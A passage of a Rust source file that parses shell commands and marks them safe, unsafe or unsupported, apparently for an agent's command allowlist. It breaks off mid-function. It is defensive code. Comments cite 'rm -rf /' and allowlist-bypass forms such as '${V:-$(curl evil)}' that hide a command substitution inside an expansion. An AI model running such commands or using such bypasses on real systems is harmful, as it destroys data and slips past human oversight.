Skip to repository content

tenant.openagents/omega

No repository description is available.

OpenAgents Git authority 2026-07-28T02:22:26.363Z Public web read
NIP-34 coordinate30617:7649603503856e5148d571eac2766b288a8ff1e9e35d380337a1d2b0015b4f92:omega
MaintainersHidden in public view
References2 branches · 1 tag
Read-only clonegit clone https://openagents.com/git/tenant.openagents/omega.git
Browse files

shell_command_parser.rs

1929 lines · 70.2 KB · rust
1use brush_parser::ast;
2use brush_parser::ast::SourceLocation;
3use brush_parser::word::WordPiece;
4use brush_parser::{Parser, ParserOptions, SourceInfo};
5use std::io::BufReader;
6
7#[derive(Debug, Clone, PartialEq, Eq)]
8pub struct TerminalCommandPrefix {
9    pub normalized: String,
10    pub display: String,
11    pub tokens: Vec<String>,
12    pub command: String,
13    pub subcommand: Option<String>,
14}
15
16#[derive(Debug, Clone, PartialEq, Eq)]
17pub enum TerminalCommandValidation {
18    Safe,
19    Unsafe,
20    Unsupported,
21}
22
23pub fn extract_commands(command: &str) -> Option<Vec<String>> {
24    let reader = BufReader::new(command.as_bytes());
25    let options = ParserOptions::default();
26    let source_info = SourceInfo::default();
27    let mut parser = Parser::new(reader, &options, &source_info);
28
29    let program = parser.parse_program().ok()?;
30
31    let mut commands = Vec::new();
32    extract_commands_from_program(&program, &mut commands)?;
33
34    Some(commands)
35}
36
37pub fn extract_terminal_command_prefix(command: &str) -> Option<TerminalCommandPrefix> {
38    let reader = BufReader::new(command.as_bytes());
39    let options = ParserOptions::default();
40    let source_info = SourceInfo::default();
41    let mut parser = Parser::new(reader, &options, &source_info);
42
43    let program = parser.parse_program().ok()?;
44    let simple_command = first_simple_command(&program)?;
45
46    let mut normalized_tokens = Vec::new();
47    let mut display_start = None;
48    let mut display_end = None;
49
50    if let Some(prefix) = &simple_command.prefix {
51        for item in &prefix.0 {
52            if let ast::CommandPrefixOrSuffixItem::AssignmentWord(assignment, word) = item {
53                match normalize_assignment_for_command_prefix(assignment, word)? {
54                    NormalizedAssignment::Included(normalized_assignment) => {
55                        normalized_tokens.push(normalized_assignment);
56                        update_display_bounds(&mut display_start, &mut display_end, word);
57                    }
58                    NormalizedAssignment::Skipped => {}
59                }
60            }
61        }
62    }
63
64    let command_word = simple_command.word_or_name.as_ref()?;
65    let command_name = normalize_word(command_word)?;
66    normalized_tokens.push(command_name.clone());
67    update_display_bounds(&mut display_start, &mut display_end, command_word);
68
69    let mut subcommand = None;
70    if let Some(suffix) = &simple_command.suffix {
71        for item in &suffix.0 {
72            match item {
73                ast::CommandPrefixOrSuffixItem::IoRedirect(_) => continue,
74                ast::CommandPrefixOrSuffixItem::Word(word) => {
75                    let normalized_word = normalize_word(word)?;
76                    if !normalized_word.starts_with('-') {
77                        subcommand = Some(normalized_word.clone());
78                        normalized_tokens.push(normalized_word);
79                        update_display_bounds(&mut display_start, &mut display_end, word);
80                    }
81                    break;
82                }
83                _ => break,
84            }
85        }
86    }
87
88    let start = display_start?;
89    let end = display_end?;
90    let display = command.get(start..end)?.to_string();
91
92    Some(TerminalCommandPrefix {
93        normalized: normalized_tokens.join(" "),
94        display,
95        tokens: normalized_tokens,
96        command: command_name,
97        subcommand,
98    })
99}
100
101pub fn validate_terminal_command(command: &str) -> TerminalCommandValidation {
102    let reader = BufReader::new(command.as_bytes());
103    let options = ParserOptions::default();
104    let source_info = SourceInfo::default();
105    let mut parser = Parser::new(reader, &options, &source_info);
106
107    let program = match parser.parse_program() {
108        Ok(program) => program,
109        Err(_) => return TerminalCommandValidation::Unsupported,
110    };
111
112    match program_validation(&program) {
113        TerminalProgramValidation::Safe => TerminalCommandValidation::Safe,
114        TerminalProgramValidation::Unsafe => TerminalCommandValidation::Unsafe,
115        TerminalProgramValidation::Unsupported => TerminalCommandValidation::Unsupported,
116    }
117}
118
119#[derive(Debug, Clone, Copy, PartialEq, Eq)]
120enum TerminalProgramValidation {
121    Safe,
122    Unsafe,
123    Unsupported,
124}
125
126fn first_simple_command(program: &ast::Program) -> Option<&ast::SimpleCommand> {
127    let complete_command = program.complete_commands.first()?;
128    let compound_list_item = complete_command.0.first()?;
129    let command = compound_list_item.0.first.seq.first()?;
130
131    match command {
132        ast::Command::Simple(simple_command) => Some(simple_command),
133        _ => None,
134    }
135}
136
137fn update_display_bounds(start: &mut Option<usize>, end: &mut Option<usize>, word: &ast::Word) {
138    if let Some(location) = word.location() {
139        let word_start = location.start.index;
140        let word_end = location.end.index;
141        *start = Some(start.map_or(word_start, |current| current.min(word_start)));
142        *end = Some(end.map_or(word_end, |current| current.max(word_end)));
143    }
144}
145
146enum NormalizedAssignment {
147    Included(String),
148    Skipped,
149}
150
151fn normalize_assignment_for_command_prefix(
152    assignment: &ast::Assignment,
153    word: &ast::Word,
154) -> Option<NormalizedAssignment> {
155    let operator = if assignment.append { "+=" } else { "=" };
156    let assignment_prefix = format!("{}{}", assignment.name, operator);
157
158    match &assignment.value {
159        ast::AssignmentValue::Scalar(value) => {
160            let normalized_value = normalize_word(value)?;
161            let raw_value = word.value.strip_prefix(&assignment_prefix)?;
162            let rendered_value = if shell_value_requires_quoting(&normalized_value) {
163                raw_value.to_string()
164            } else {
165                normalized_value
166            };
167
168            Some(NormalizedAssignment::Included(format!(
169                "{assignment_prefix}{rendered_value}"
170            )))
171        }
172        ast::AssignmentValue::Array(_) => Some(NormalizedAssignment::Skipped),
173    }
174}
175
176fn shell_value_requires_quoting(value: &str) -> bool {
177    value.chars().any(|character| {
178        character.is_whitespace()
179            || !matches!(
180                character,
181                'a'..='z'
182                    | 'A'..='Z'
183                    | '0'..='9'
184                    | '_'
185                    | '@'
186                    | '%'
187                    | '+'
188                    | '='
189                    | ':'
190                    | ','
191                    | '.'
192                    | '/'
193                    | '-'
194            )
195    })
196}
197
198fn program_validation(program: &ast::Program) -> TerminalProgramValidation {
199    combine_validations(
200        program
201            .complete_commands
202            .iter()
203            .map(compound_list_validation),
204    )
205}
206
207fn compound_list_validation(compound_list: &ast::CompoundList) -> TerminalProgramValidation {
208    combine_validations(
209        compound_list
210            .0
211            .iter()
212            .map(|item| and_or_list_validation(&item.0)),
213    )
214}
215
216fn and_or_list_validation(and_or_list: &ast::AndOrList) -> TerminalProgramValidation {
217    combine_validations(
218        std::iter::once(pipeline_validation(&and_or_list.first)).chain(
219            and_or_list.additional.iter().map(|and_or| match and_or {
220                ast::AndOr::And(pipeline) | ast::AndOr::Or(pipeline) => {
221                    pipeline_validation(pipeline)
222                }
223            }),
224        ),
225    )
226}
227
228fn pipeline_validation(pipeline: &ast::Pipeline) -> TerminalProgramValidation {
229    combine_validations(pipeline.seq.iter().map(command_validation))
230}
231
232fn command_validation(command: &ast::Command) -> TerminalProgramValidation {
233    match command {
234        ast::Command::Simple(simple_command) => simple_command_validation(simple_command),
235        ast::Command::Compound(compound_command, redirect_list) => combine_validations(
236            std::iter::once(compound_command_validation(compound_command))
237                .chain(redirect_list.iter().map(redirect_list_validation)),
238        ),
239        ast::Command::Function(function_definition) => {
240            function_body_validation(&function_definition.body)
241        }
242        ast::Command::ExtendedTest(test_expr) => extended_test_expr_validation(test_expr),
243    }
244}
245
246fn simple_command_validation(simple_command: &ast::SimpleCommand) -> TerminalProgramValidation {
247    combine_validations(
248        simple_command
249            .prefix
250            .iter()
251            .map(command_prefix_validation)
252            .chain(simple_command.word_or_name.iter().map(word_validation))
253            .chain(simple_command.suffix.iter().map(command_suffix_validation)),
254    )
255}
256
257fn command_prefix_validation(prefix: &ast::CommandPrefix) -> TerminalProgramValidation {
258    combine_validations(prefix.0.iter().map(prefix_or_suffix_item_validation))
259}
260
261fn command_suffix_validation(suffix: &ast::CommandSuffix) -> TerminalProgramValidation {
262    combine_validations(suffix.0.iter().map(prefix_or_suffix_item_validation))
263}
264
265fn prefix_or_suffix_item_validation(
266    item: &ast::CommandPrefixOrSuffixItem,
267) -> TerminalProgramValidation {
268    match item {
269        ast::CommandPrefixOrSuffixItem::IoRedirect(redirect) => io_redirect_validation(redirect),
270        ast::CommandPrefixOrSuffixItem::Word(word) => word_validation(word),
271        ast::CommandPrefixOrSuffixItem::AssignmentWord(assignment, word) => {
272            combine_validations([assignment_validation(assignment), word_validation(word)])
273        }
274        ast::CommandPrefixOrSuffixItem::ProcessSubstitution(_, _) => {
275            TerminalProgramValidation::Unsafe
276        }
277    }
278}
279
280fn io_redirect_validation(redirect: &ast::IoRedirect) -> TerminalProgramValidation {
281    match redirect {
282        ast::IoRedirect::File(_, _, target) => match target {
283            ast::IoFileRedirectTarget::Filename(word) => word_validation(word),
284            ast::IoFileRedirectTarget::ProcessSubstitution(_, _) => {
285                TerminalProgramValidation::Unsafe
286            }
287            _ => TerminalProgramValidation::Safe,
288        },
289        ast::IoRedirect::HereDocument(_, here_doc) => {
290            if here_doc.requires_expansion {
291                word_validation(&here_doc.doc)
292            } else {
293                TerminalProgramValidation::Safe
294            }
295        }
296        ast::IoRedirect::HereString(_, word) | ast::IoRedirect::OutputAndError(word, _) => {
297            word_validation(word)
298        }
299    }
300}
301
302fn assignment_validation(assignment: &ast::Assignment) -> TerminalProgramValidation {
303    match &assignment.value {
304        ast::AssignmentValue::Scalar(word) => word_validation(word),
305        ast::AssignmentValue::Array(words) => {
306            combine_validations(words.iter().flat_map(|(key, value)| {
307                key.iter()
308                    .map(word_validation)
309                    .chain(std::iter::once(word_validation(value)))
310            }))
311        }
312    }
313}
314
315fn word_validation(word: &ast::Word) -> TerminalProgramValidation {
316    let options = ParserOptions::default();
317    let pieces = match brush_parser::word::parse(&word.value, &options) {
318        Ok(pieces) => pieces,
319        Err(_) => return TerminalProgramValidation::Unsupported,
320    };
321
322    combine_validations(
323        pieces
324            .iter()
325            .map(|piece_with_source| word_piece_validation(&piece_with_source.piece)),
326    )
327}
328
329fn word_piece_validation(piece: &WordPiece) -> TerminalProgramValidation {
330    match piece {
331        WordPiece::Text(_)
332        | WordPiece::SingleQuotedText(_)
333        | WordPiece::AnsiCQuotedText(_)
334        | WordPiece::EscapeSequence(_)
335        | WordPiece::TildePrefix(_) => TerminalProgramValidation::Safe,
336        WordPiece::DoubleQuotedSequence(pieces)
337        | WordPiece::GettextDoubleQuotedSequence(pieces) => combine_validations(
338            pieces
339                .iter()
340                .map(|inner| word_piece_validation(&inner.piece)),
341        ),
342        WordPiece::ParameterExpansion(_) | WordPiece::ArithmeticExpression(_) => {
343            TerminalProgramValidation::Unsafe
344        }
345        WordPiece::CommandSubstitution(command)
346        | WordPiece::BackquotedCommandSubstitution(command) => {
347            let reader = BufReader::new(command.as_bytes());
348            let options = ParserOptions::default();
349            let source_info = SourceInfo::default();
350            let mut parser = Parser::new(reader, &options, &source_info);
351
352            match parser.parse_program() {
353                Ok(_) => TerminalProgramValidation::Unsafe,
354                Err(_) => TerminalProgramValidation::Unsupported,
355            }
356        }
357    }
358}
359
360fn compound_command_validation(
361    compound_command: &ast::CompoundCommand,
362) -> TerminalProgramValidation {
363    match compound_command {
364        ast::CompoundCommand::BraceGroup(brace_group) => {
365            compound_list_validation(&brace_group.list)
366        }
367        ast::CompoundCommand::Subshell(subshell) => compound_list_validation(&subshell.list),
368        ast::CompoundCommand::ForClause(for_clause) => combine_validations(
369            for_clause
370                .values
371                .iter()
372                .flat_map(|values| values.iter().map(word_validation))
373                .chain(std::iter::once(do_group_validation(&for_clause.body))),
374        ),
375        ast::CompoundCommand::CaseClause(case_clause) => combine_validations(
376            std::iter::once(word_validation(&case_clause.value))
377                .chain(
378                    case_clause
379                        .cases
380                        .iter()
381                        .flat_map(|item| item.cmd.iter().map(compound_list_validation)),
382                )
383                .chain(
384                    case_clause
385                        .cases
386                        .iter()
387                        .flat_map(|item| item.patterns.iter().map(word_validation)),
388                ),
389        ),
390        ast::CompoundCommand::IfClause(if_clause) => combine_validations(
391            std::iter::once(compound_list_validation(&if_clause.condition))
392                .chain(std::iter::once(compound_list_validation(&if_clause.then)))
393                .chain(if_clause.elses.iter().flat_map(|elses| {
394                    elses.iter().flat_map(|else_item| {
395                        else_item
396                            .condition
397                            .iter()
398                            .map(compound_list_validation)
399                            .chain(std::iter::once(compound_list_validation(&else_item.body)))
400                    })
401                })),
402        ),
403        ast::CompoundCommand::WhileClause(while_clause)
404        | ast::CompoundCommand::UntilClause(while_clause) => combine_validations([
405            compound_list_validation(&while_clause.0),
406            do_group_validation(&while_clause.1),
407        ]),
408        ast::CompoundCommand::ArithmeticForClause(_) => TerminalProgramValidation::Unsafe,
409        ast::CompoundCommand::Arithmetic(_) => TerminalProgramValidation::Unsafe,
410    }
411}
412
413fn do_group_validation(do_group: &ast::DoGroupCommand) -> TerminalProgramValidation {
414    compound_list_validation(&do_group.list)
415}
416
417fn function_body_validation(function_body: &ast::FunctionBody) -> TerminalProgramValidation {
418    combine_validations(
419        std::iter::once(compound_command_validation(&function_body.0))
420            .chain(function_body.1.iter().map(redirect_list_validation)),
421    )
422}
423
424fn redirect_list_validation(redirect_list: &ast::RedirectList) -> TerminalProgramValidation {
425    combine_validations(redirect_list.0.iter().map(io_redirect_validation))
426}
427
428fn extended_test_expr_validation(
429    test_expr: &ast::ExtendedTestExprCommand,
430) -> TerminalProgramValidation {
431    extended_test_expr_inner_validation(&test_expr.expr)
432}
433
434fn extended_test_expr_inner_validation(expr: &ast::ExtendedTestExpr) -> TerminalProgramValidation {
435    match expr {
436        ast::ExtendedTestExpr::Not(inner) | ast::ExtendedTestExpr::Parenthesized(inner) => {
437            extended_test_expr_inner_validation(inner)
438        }
439        ast::ExtendedTestExpr::And(left, right) | ast::ExtendedTestExpr::Or(left, right) => {
440            combine_validations([
441                extended_test_expr_inner_validation(left),
442                extended_test_expr_inner_validation(right),
443            ])
444        }
445        ast::ExtendedTestExpr::UnaryTest(_, word) => word_validation(word),
446        ast::ExtendedTestExpr::BinaryTest(_, left, right) => {
447            combine_validations([word_validation(left), word_validation(right)])
448        }
449    }
450}
451
452fn combine_validations(
453    validations: impl IntoIterator<Item = TerminalProgramValidation>,
454) -> TerminalProgramValidation {
455    let mut saw_unsafe = false;
456    let mut saw_unsupported = false;
457
458    for validation in validations {
459        match validation {
460            TerminalProgramValidation::Unsupported => saw_unsupported = true,
461            TerminalProgramValidation::Unsafe => saw_unsafe = true,
462            TerminalProgramValidation::Safe => {}
463        }
464    }
465
466    if saw_unsafe {
467        TerminalProgramValidation::Unsafe
468    } else if saw_unsupported {
469        TerminalProgramValidation::Unsupported
470    } else {
471        TerminalProgramValidation::Safe
472    }
473}
474
475fn extract_commands_from_program(program: &ast::Program, commands: &mut Vec<String>) -> Option<()> {
476    for complete_command in &program.complete_commands {
477        extract_commands_from_compound_list(complete_command, commands)?;
478    }
479    Some(())
480}
481
482fn extract_commands_from_compound_list(
483    compound_list: &ast::CompoundList,
484    commands: &mut Vec<String>,
485) -> Option<()> {
486    for item in &compound_list.0 {
487        extract_commands_from_and_or_list(&item.0, commands)?;
488    }
489    Some(())
490}
491
492fn extract_commands_from_and_or_list(
493    and_or_list: &ast::AndOrList,
494    commands: &mut Vec<String>,
495) -> Option<()> {
496    extract_commands_from_pipeline(&and_or_list.first, commands)?;
497
498    for and_or in &and_or_list.additional {
499        match and_or {
500            ast::AndOr::And(pipeline) | ast::AndOr::Or(pipeline) => {
501                extract_commands_from_pipeline(pipeline, commands)?;
502            }
503        }
504    }
505    Some(())
506}
507
508fn extract_commands_from_pipeline(
509    pipeline: &ast::Pipeline,
510    commands: &mut Vec<String>,
511) -> Option<()> {
512    for command in &pipeline.seq {
513        extract_commands_from_command(command, commands)?;
514    }
515    Some(())
516}
517
518fn extract_commands_from_command(command: &ast::Command, commands: &mut Vec<String>) -> Option<()> {
519    match command {
520        ast::Command::Simple(simple_command) => {
521            extract_commands_from_simple_command(simple_command, commands)?;
522        }
523        ast::Command::Compound(compound_command, redirect_list) => {
524            let body_start = extract_commands_from_compound_command(compound_command, commands)?;
525            if let Some(redirect_list) = redirect_list {
526                let mut normalized_redirects = Vec::new();
527                for redirect in &redirect_list.0 {
528                    match normalize_io_redirect(redirect)? {
529                        RedirectNormalization::Normalized(s) => normalized_redirects.push(s),
530                        RedirectNormalization::Skip => {}
531                    }
532                }
533                if !normalized_redirects.is_empty() {
534                    if body_start >= commands.len() {
535                        return None;
536                    }
537                    commands.extend(normalized_redirects);
538                }
539                for redirect in &redirect_list.0 {
540                    extract_commands_from_io_redirect(redirect, commands)?;
541                }
542            }
543        }
544        ast::Command::Function(func_def) => {
545            extract_commands_from_function_body(&func_def.body, commands)?;
546        }
547        ast::Command::ExtendedTest(test_expr) => {
548            extract_commands_from_extended_test_expr(test_expr, commands)?;
549        }
550    }
551    Some(())
552}
553
554enum RedirectNormalization {
555    Normalized(String),
556    Skip,
557}
558
559fn extract_commands_from_simple_command(
560    simple_command: &ast::SimpleCommand,
561    commands: &mut Vec<String>,
562) -> Option<()> {
563    // Build a normalized command string from individual words, stripping shell
564    // quotes so that security patterns match regardless of quoting style.
565    // For example, both `rm -rf '/'` and `rm -rf /` normalize to "rm -rf /".
566    //
567    // If any word fails to normalize, we return None so that `extract_commands`
568    // returns None — the same as a shell parse failure. The caller then falls
569    // back to raw-input matching with always_allow disabled.
570    let mut words = Vec::new();
571    let mut redirects = Vec::new();
572
573    if let Some(prefix) = &simple_command.prefix {
574        for item in &prefix.0 {
575            match item {
576                ast::CommandPrefixOrSuffixItem::IoRedirect(redirect) => {
577                    match normalize_io_redirect(redirect) {
578                        Some(RedirectNormalization::Normalized(s)) => redirects.push(s),
579                        Some(RedirectNormalization::Skip) => {}
580                        None => return None,
581                    }
582                }
583                ast::CommandPrefixOrSuffixItem::AssignmentWord(assignment, word) => {
584                    match normalize_assignment_for_command_prefix(assignment, word)? {
585                        NormalizedAssignment::Included(normalized_assignment) => {
586                            words.push(normalized_assignment);
587                        }
588                        NormalizedAssignment::Skipped => {}
589                    }
590                }
591                ast::CommandPrefixOrSuffixItem::Word(word) => {
592                    words.push(normalize_word(word)?);
593                }
594                ast::CommandPrefixOrSuffixItem::ProcessSubstitution(_, _) => return None,
595            }
596        }
597    }
598    if let Some(word) = &simple_command.word_or_name {
599        words.push(normalize_word(word)?);
600    }
601    if let Some(suffix) = &simple_command.suffix {
602        for item in &suffix.0 {
603            match item {
604                ast::CommandPrefixOrSuffixItem::Word(word) => {
605                    words.push(normalize_word(word)?);
606                }
607                ast::CommandPrefixOrSuffixItem::IoRedirect(redirect) => {
608                    match normalize_io_redirect(redirect) {
609                        Some(RedirectNormalization::Normalized(s)) => redirects.push(s),
610                        Some(RedirectNormalization::Skip) => {}
611                        None => return None,
612                    }
613                }
614                ast::CommandPrefixOrSuffixItem::AssignmentWord(assignment, word) => {
615                    match normalize_assignment_for_command_prefix(assignment, word)? {
616                        NormalizedAssignment::Included(normalized_assignment) => {
617                            words.push(normalized_assignment);
618                        }
619                        NormalizedAssignment::Skipped => {}
620                    }
621                }
622                ast::CommandPrefixOrSuffixItem::ProcessSubstitution(_, _) => {}
623            }
624        }
625    }
626
627    if words.is_empty() && !redirects.is_empty() {
628        return None;
629    }
630
631    let command_str = words.join(" ");
632    if !command_str.is_empty() {
633        commands.push(command_str);
634    }
635    commands.extend(redirects);
636
637    // Extract nested commands from command substitutions, process substitutions, etc.
638    if let Some(prefix) = &simple_command.prefix {
639        extract_commands_from_command_prefix(prefix, commands)?;
640    }
641    if let Some(word) = &simple_command.word_or_name {
642        extract_commands_from_word(word, commands)?;
643    }
644    if let Some(suffix) = &simple_command.suffix {
645        extract_commands_from_command_suffix(suffix, commands)?;
646    }
647    Some(())
648}
649
650/// Normalizes a shell word by stripping quoting syntax and returning the
651/// semantic (unquoted) value. Returns `None` if word parsing fails.
652fn normalize_word(word: &ast::Word) -> Option<String> {
653    let options = ParserOptions::default();
654    let pieces = brush_parser::word::parse(&word.value, &options).ok()?;
655    let mut result = String::new();
656    for piece_with_source in &pieces {
657        normalize_word_piece_into(
658            &piece_with_source.piece,
659            &word.value,
660            piece_with_source.start_index,
661            piece_with_source.end_index,
662            &mut result,
663        )?;
664    }
665    Some(result)
666}
667
668fn normalize_word_piece_into(
669    piece: &WordPiece,
670    raw_value: &str,
671    start_index: usize,
672    end_index: usize,
673    result: &mut String,
674) -> Option<()> {
675    match piece {
676        WordPiece::Text(text) => result.push_str(text),
677        WordPiece::SingleQuotedText(text) => result.push_str(text),
678        WordPiece::AnsiCQuotedText(text) => result.push_str(text),
679        WordPiece::EscapeSequence(text) => {
680            result.push_str(text.strip_prefix('\\').unwrap_or(text));
681        }
682        WordPiece::DoubleQuotedSequence(pieces)
683        | WordPiece::GettextDoubleQuotedSequence(pieces) => {
684            for inner in pieces {
685                normalize_word_piece_into(
686                    &inner.piece,
687                    raw_value,
688                    inner.start_index,
689                    inner.end_index,
690                    result,
691                )?;
692            }
693        }
694        WordPiece::TildePrefix(prefix) => {
695            result.push('~');
696            result.push_str(prefix);
697        }
698        // For parameter expansions, command substitutions, and arithmetic expressions,
699        // preserve the original source text so that patterns like `\$HOME` continue
700        // to match.
701        WordPiece::ParameterExpansion(_)
702        | WordPiece::CommandSubstitution(_)
703        | WordPiece::BackquotedCommandSubstitution(_)
704        | WordPiece::ArithmeticExpression(_) => {
705            let source = raw_value.get(start_index..end_index)?;
706            result.push_str(source);
707        }
708    }
709    Some(())
710}
711
712fn is_known_safe_redirect_target(normalized_target: &str) -> bool {
713    normalized_target == "/dev/null"
714}
715
716fn normalize_io_redirect(redirect: &ast::IoRedirect) -> Option<RedirectNormalization> {
717    match redirect {
718        ast::IoRedirect::File(fd, kind, target) => {
719            let target_word = match target {
720                ast::IoFileRedirectTarget::Filename(word) => word,
721                _ => return Some(RedirectNormalization::Skip),
722            };
723            let operator = match kind {
724                ast::IoFileRedirectKind::Read => "<",
725                ast::IoFileRedirectKind::Write => ">",
726                ast::IoFileRedirectKind::Append => ">>",
727                ast::IoFileRedirectKind::ReadAndWrite => "<>",
728                ast::IoFileRedirectKind::Clobber => ">|",
729                // The parser pairs DuplicateInput/DuplicateOutput with
730                // IoFileRedirectTarget::Duplicate (not Filename), so the
731                // target match above will return Skip before we reach here.
732                // These arms are kept for defensiveness.
733                ast::IoFileRedirectKind::DuplicateInput => "<&",
734                ast::IoFileRedirectKind::DuplicateOutput => ">&",
735            };
736            let fd_prefix = match fd {
737                Some(fd) => fd.to_string(),
738                None => String::new(),
739            };
740            let normalized = normalize_word(target_word)?;
741            if is_known_safe_redirect_target(&normalized) {
742                return Some(RedirectNormalization::Skip);
743            }
744            Some(RedirectNormalization::Normalized(format!(
745                "{}{} {}",
746                fd_prefix, operator, normalized
747            )))
748        }
749        ast::IoRedirect::OutputAndError(word, append) => {
750            let operator = if *append { "&>>" } else { "&>" };
751            let normalized = normalize_word(word)?;
752            if is_known_safe_redirect_target(&normalized) {
753                return Some(RedirectNormalization::Skip);
754            }
755            Some(RedirectNormalization::Normalized(format!(
756                "{} {}",
757                operator, normalized
758            )))
759        }
760        ast::IoRedirect::HereDocument(_, _) | ast::IoRedirect::HereString(_, _) => {
761            Some(RedirectNormalization::Skip)
762        }
763    }
764}
765
766fn extract_commands_from_command_prefix(
767    prefix: &ast::CommandPrefix,
768    commands: &mut Vec<String>,
769) -> Option<()> {
770    for item in &prefix.0 {
771        extract_commands_from_prefix_or_suffix_item(item, commands)?;
772    }
773    Some(())
774}
775
776fn extract_commands_from_command_suffix(
777    suffix: &ast::CommandSuffix,
778    commands: &mut Vec<String>,
779) -> Option<()> {
780    for item in &suffix.0 {
781        extract_commands_from_prefix_or_suffix_item(item, commands)?;
782    }
783    Some(())
784}
785
786fn extract_commands_from_prefix_or_suffix_item(
787    item: &ast::CommandPrefixOrSuffixItem,
788    commands: &mut Vec<String>,
789) -> Option<()> {
790    match item {
791        ast::CommandPrefixOrSuffixItem::IoRedirect(redirect) => {
792            extract_commands_from_io_redirect(redirect, commands)?;
793        }
794        ast::CommandPrefixOrSuffixItem::AssignmentWord(assignment, _word) => {
795            extract_commands_from_assignment(assignment, commands)?;
796        }
797        ast::CommandPrefixOrSuffixItem::Word(word) => {
798            extract_commands_from_word(word, commands)?;
799        }
800        ast::CommandPrefixOrSuffixItem::ProcessSubstitution(_kind, subshell) => {
801            extract_commands_from_compound_list(&subshell.list, commands)?;
802        }
803    }
804    Some(())
805}
806
807fn extract_commands_from_io_redirect(
808    redirect: &ast::IoRedirect,
809    commands: &mut Vec<String>,
810) -> Option<()> {
811    match redirect {
812        ast::IoRedirect::File(_fd, _kind, target) => match target {
813            ast::IoFileRedirectTarget::ProcessSubstitution(_kind, subshell) => {
814                extract_commands_from_compound_list(&subshell.list, commands)?;
815            }
816            ast::IoFileRedirectTarget::Filename(word) => {
817                extract_commands_from_word(word, commands)?;
818            }
819            _ => {}
820        },
821        ast::IoRedirect::HereDocument(_fd, here_doc) => {
822            if here_doc.requires_expansion {
823                extract_commands_from_word(&here_doc.doc, commands)?;
824            }
825        }
826        ast::IoRedirect::HereString(_fd, word) => {
827            extract_commands_from_word(word, commands)?;
828        }
829        ast::IoRedirect::OutputAndError(word, _) => {
830            extract_commands_from_word(word, commands)?;
831        }
832    }
833    Some(())
834}
835
836fn extract_commands_from_assignment(
837    assignment: &ast::Assignment,
838    commands: &mut Vec<String>,
839) -> Option<()> {
840    match &assignment.value {
841        ast::AssignmentValue::Scalar(word) => {
842            extract_commands_from_word(word, commands)?;
843        }
844        ast::AssignmentValue::Array(words) => {
845            for (opt_word, word) in words {
846                if let Some(w) = opt_word {
847                    extract_commands_from_word(w, commands)?;
848                }
849                extract_commands_from_word(word, commands)?;
850            }
851        }
852    }
853    Some(())
854}
855
856fn extract_commands_from_word(word: &ast::Word, commands: &mut Vec<String>) -> Option<()> {
857    let options = ParserOptions::default();
858    let pieces = brush_parser::word::parse(&word.value, &options).ok()?;
859    for piece_with_source in pieces {
860        extract_commands_from_word_piece(&piece_with_source.piece, commands)?;
861    }
862    Some(())
863}
864
865fn extract_commands_from_word_piece(piece: &WordPiece, commands: &mut Vec<String>) -> Option<()> {
866    match piece {
867        WordPiece::CommandSubstitution(cmd_str)
868        | WordPiece::BackquotedCommandSubstitution(cmd_str) => {
869            let nested_commands = extract_commands(cmd_str)?;
870            commands.extend(nested_commands);
871        }
872        WordPiece::DoubleQuotedSequence(pieces)
873        | WordPiece::GettextDoubleQuotedSequence(pieces) => {
874            for inner_piece_with_source in pieces {
875                extract_commands_from_word_piece(&inner_piece_with_source.piece, commands)?;
876            }
877        }
878        WordPiece::ArithmeticExpression(expr) => {
879            // The arithmetic body may contain `$(...)` or `${...}` that bash will
880            // evaluate before doing arithmetic. Re-parse to extract those.
881            // We propagate parse failures with `?` so that callers fail closed
882            // (treating the whole input as a parse failure) rather than silently
883            // dropping commands hidden inside content brush couldn't tokenize.
884            extract_commands_from_word_string(&expr.value, commands)?;
885        }
886        WordPiece::ParameterExpansion(expr) => {
887            extract_commands_from_parameter_expr(expr, commands)?;
888        }
889        WordPiece::EscapeSequence(_)
890        | WordPiece::SingleQuotedText(_)
891        | WordPiece::Text(_)
892        | WordPiece::AnsiCQuotedText(_)
893        | WordPiece::TildePrefix(_) => {}
894    }
895    Some(())
896}
897
898/// Re-parses a string as a bash word and recurses into its pieces to extract
899/// any nested command substitutions. Returns `None` (failing closed) if brush
900/// cannot tokenize the input, so callers treat allowlist decisions about this
901/// input as untrusted.
902fn extract_commands_from_word_string(s: &str, commands: &mut Vec<String>) -> Option<()> {
903    let options = ParserOptions::default();
904    let pieces = brush_parser::word::parse(s, &options).ok()?;
905    for inner_piece in pieces {
906        extract_commands_from_word_piece(&inner_piece.piece, commands)?;
907    }
908    Some(())
909}
910
911/// Recurses into the string-typed fields of a parameter expansion that bash
912/// will subject to command substitution at expansion time, mirroring the
913/// arithmetic expansion handling. Failing to extend this when adding new
914/// `ParameterExpr` variants risks an allowlist bypass via e.g.
915/// `${V:-$(curl evil)}`, `${V/pat/$(curl evil)}`, `${V:$(($(curl))):1}`.
916fn extract_commands_from_parameter_expr(
917    expr: &brush_parser::word::ParameterExpr,
918    commands: &mut Vec<String>,
919) -> Option<()> {
920    use brush_parser::word::ParameterExpr;
921    match expr {
922        ParameterExpr::Parameter { .. }
923        | ParameterExpr::ParameterLength { .. }
924        | ParameterExpr::Transform { .. }
925        | ParameterExpr::VariableNames { .. }
926        | ParameterExpr::MemberKeys { .. } => {}
927        ParameterExpr::UseDefaultValues { default_value, .. }
928        | ParameterExpr::AssignDefaultValues { default_value, .. } => {
929            if let Some(value) = default_value {
930                extract_commands_from_word_string(value, commands)?;
931            }
932        }
933        ParameterExpr::IndicateErrorIfNullOrUnset { error_message, .. } => {
934            if let Some(value) = error_message {
935                extract_commands_from_word_string(value, commands)?;
936            }
937        }
938        ParameterExpr::UseAlternativeValue {
939            alternative_value, ..
940        } => {
941            if let Some(value) = alternative_value {
942                extract_commands_from_word_string(value, commands)?;
943            }
944        }
945        ParameterExpr::RemoveSmallestSuffixPattern { pattern, .. }
946        | ParameterExpr::RemoveLargestSuffixPattern { pattern, .. }
947        | ParameterExpr::RemoveSmallestPrefixPattern { pattern, .. }
948        | ParameterExpr::RemoveLargestPrefixPattern { pattern, .. }
949        | ParameterExpr::UppercaseFirstChar { pattern, .. }
950        | ParameterExpr::UppercasePattern { pattern, .. }
951        | ParameterExpr::LowercaseFirstChar { pattern, .. }
952        | ParameterExpr::LowercasePattern { pattern, .. } => {
953            if let Some(pattern) = pattern {
954                extract_commands_from_word_string(pattern, commands)?;
955            }
956        }
957        ParameterExpr::Substring { offset, length, .. } => {
958            extract_commands_from_word_string(&offset.value, commands)?;
959            if let Some(length) = length {
960                extract_commands_from_word_string(&length.value, commands)?;
961            }
962        }
963        ParameterExpr::ReplaceSubstring {
964            pattern,
965            replacement,
966            ..
967        } => {
